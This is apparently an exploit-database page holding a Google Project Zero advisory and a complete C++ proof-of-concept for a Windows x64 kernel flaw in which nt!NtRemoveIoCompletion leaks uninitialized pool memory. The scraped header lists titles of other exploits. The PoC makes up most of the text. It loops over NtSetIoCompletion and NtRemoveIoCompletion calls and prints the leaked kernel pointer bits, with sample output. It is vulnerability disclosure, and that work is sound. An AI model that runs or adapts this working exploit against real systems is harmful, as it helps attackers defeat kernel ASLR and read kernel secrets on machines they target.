
16 new exploits Microsoft Windows Media Player 7.1 < 10 - BMP Heap Overflow (PoC) (MS06-005) (1) Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (1) Cam2pc 4.6.2 - BMP Image Processing Integer Overflow Cam2pc 4.6.2 - '.BMP' Image Processing Integer Overflow Microsoft Internet Explorer 5.0.1 - JPEG Image Rendering Unspecified Buffer Overflow Microsoft Internet Explorer 5.0.1 - JPEG Image Rendering CMP Fencepost Denial of Service Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Unspecified Buffer Overflow Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering CMP Fencepost Denial of Service Apple QuickTime 6.4/6.5/7.0.x - PictureViewer JPEG/PICT File Buffer Overflow Apple QuickTime 6.4/6.5/7.0.x - PictureViewer '.JPEG'/.PICT' File Buffer Overflow Tony Cook Imager 0.4x - JPEG and TGA Images Denial of Service Tony Cook Imager 0.4x - '.JPEG' / '.TGA' Images Denial of Service Microsoft Windows Kernel - 'win32k!NtQueryCompositionSurfaceBinding' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetFontResourceInfoInternalW' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetGlyphOutline' Pool Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetPhysicalMonitorDescription' Stack Memory Disclosure Microsoft Windows Kernel - 'nt!NtSetIoCompletion / nt!NtRemoveIoCompletion' Pool Memory Disclosure Microsoft Windows Kernel win32k.sys TTF Font Processing - Out-of-Bounds Reads/Writes with Malformed 'fpgm' table (win32k!bGeneratePath) Microsoft Windows Kernel win32k.sys TTF Font Processing - Out-of-Bounds Read with Malformed _glyf_ Table (win32k!fsc_CalcGrayRow) Microsoft Windows Kernel - 'win32k!NtGdiEngCreatePalette' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiDoBanding' Stack Memory Disclosure Adobe Reader X 10.1.4.38 - BMP/RLE Heap Corruption Adobe Reader X 10.1.4.38 - '.BMP'/'.RLE' Heap Corruption XV 3.x - BMP Parsing Local Buffer Overflow XV 3.x - '.BMP' Parsing Local Buffer Overflow Microsoft Windows Media Player 7.1 < 10 - BMP Heap Overflow (PoC) (MS06-005) (2) Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (2) GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized JPEG Image Access GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized '.JPEG' Image Access Kaseya Virtual System Administrator (VSA) - uploader.aspx Arbitrary File Upload (Metasploit) Kaseya Virtual System Administrator (VSA) - 'uploader.aspx' Arbitrary File Upload (Metasploit) XOOPS 2.3.2 - (mydirname) Remote PHP Code Execution XOOPS 2.3.2 - 'mydirname' Remote PHP Code Execution Tuleap Project Wiki 8.3 < 9.6.99.86 - Command Injection Digirez 3.4 - Cross-Site Request Forgery (Update Admin) Digileave 1.2 - Cross-Site Request Forgery (Update Admin) DigiAffiliate 1.4 - Cross-Site Request Forgery (Update Admin) UTStar WA3002G4 ADSL Broadband Modem - Authentication Bypass iBall ADSL2+ Home Router - Authentication Bypass Apache - HTTP OPTIONS Memory Leak
115 lines
No EOL
4 KiB
C++
Executable file
115 lines
No EOL
4 KiB
C++
Executable file
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1269
|
|
|
|
We have discovered that the nt!NtRemoveIoCompletion system call handler discloses 4 bytes of uninitialized pool memory to user-mode clients on 64-bit platforms.
|
|
|
|
The bug manifests itself while passing the IO_STATUS_BLOCK structure back to user-mode. The structure is defined as follows:
|
|
|
|
--- cut ---
|
|
typedef struct _IO_STATUS_BLOCK {
|
|
union {
|
|
NTSTATUS Status;
|
|
PVOID Pointer;
|
|
};
|
|
ULONG_PTR Information;
|
|
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
|
|
--- cut ---
|
|
|
|
On 64-bit Windows builds, the "Pointer" field is 64 bits in width while the "Status" field is 32-bits wide. This means that if only "Status" is initialized, the upper 32 bits of "Pointer" remain garbage. This is what happens in the nt!NtSetIoCompletion syscall, which allocates a completion packet with a nested IO_STATUS_BLOCK structure (from the pools or a lookaside list), and only sets the .Status field to a user-controlled 32-bit value, leaving the remaining part of the union untouched.
|
|
|
|
Furthermore, the nt!NtRemoveIoCompletion system call doesn't rewrite the structure to only pass the relevant data back to user-mode, but copies it in its entirety, thus disclosing the uninitialized 32 bits of memory to the ring-3 client. The attached proof-of-concept program illustrates the problem by triggering the vulnerability in a loop, and printing out the leaked value. When run on Windows 7 x64, we're seeing various upper 32-bit portions of kernel-mode pointers:
|
|
|
|
--- cut ---
|
|
Leak: FFFFF80011111111
|
|
Leak: FFFFF80011111111
|
|
Leak: FFFFF80011111111
|
|
Leak: FFFFF80011111111
|
|
...
|
|
Leak: FFFFF88011111111
|
|
Leak: FFFFF88011111111
|
|
Leak: FFFFF88011111111
|
|
Leak: FFFFF88011111111
|
|
...
|
|
Leak: FFFFFA8011111111
|
|
Leak: FFFFFA8011111111
|
|
Leak: FFFFFA8011111111
|
|
Leak: FFFFFA8011111111
|
|
--- cut ---
|
|
|
|
We suspect that the monotony in the nature of the disclosed value is caused by the usage of a lookaside list, and it could likely be overcome by depleting the list and forcing the kernel to fall back on regular pool allocations. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
|
|
|
The issue was discovered by James Forshaw of Google Project Zero.
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <tchar.h>
|
|
#include <Windows.h>
|
|
#include <winternl.h>
|
|
|
|
#pragma comment(lib, "ntdll.lib")
|
|
|
|
extern "C" NTSTATUS __stdcall NtCreateIoCompletion(
|
|
PHANDLE IoCompletionHandle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
DWORD NumberOfConcurrentThreads
|
|
);
|
|
|
|
|
|
extern "C" NTSTATUS __stdcall NtRemoveIoCompletion(
|
|
HANDLE IoCompletionHandle,
|
|
PUINT_PTR KeyContext,
|
|
PUINT_PTR ApcContext,
|
|
PIO_STATUS_BLOCK IoStatusBlock,
|
|
PLARGE_INTEGER Timeout
|
|
);
|
|
|
|
extern "C" NTSTATUS __stdcall NtSetIoCompletion(
|
|
HANDLE IoCompletionHandle,
|
|
UINT_PTR KeyContext,
|
|
UINT_PTR ApcContext,
|
|
UINT_PTR Status,
|
|
UINT_PTR IoStatusInformation
|
|
);
|
|
|
|
int main()
|
|
{
|
|
HANDLE io_completion;
|
|
NTSTATUS status = NtCreateIoCompletion(&io_completion, MAXIMUM_ALLOWED, nullptr, 0);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
printf("Error creation IO Completion: %08X\n", status);
|
|
return 1;
|
|
}
|
|
|
|
while (true)
|
|
{
|
|
status = NtSetIoCompletion(io_completion, 0x12345678, 0x9ABCDEF0, 0x11111111, 0x22222222);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
printf("Error setting IO Completion: %08X\n", status);
|
|
return 1;
|
|
}
|
|
|
|
IO_STATUS_BLOCK io_status = {};
|
|
memset(&io_status, 'X', sizeof(io_status));
|
|
|
|
UINT_PTR key_ctx;
|
|
UINT_PTR apc_ctx;
|
|
|
|
status = NtRemoveIoCompletion(io_completion, &key_ctx, &apc_ctx, &io_status, nullptr);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
printf("Error setting IO Completion: %08X\n", status);
|
|
return 1;
|
|
}
|
|
|
|
UINT_PTR p = (UINT_PTR)io_status.Pointer;
|
|
if ((p >> 32) != 0)
|
|
{
|
|
printf("Leak: %p\n", io_status.Pointer);
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
} |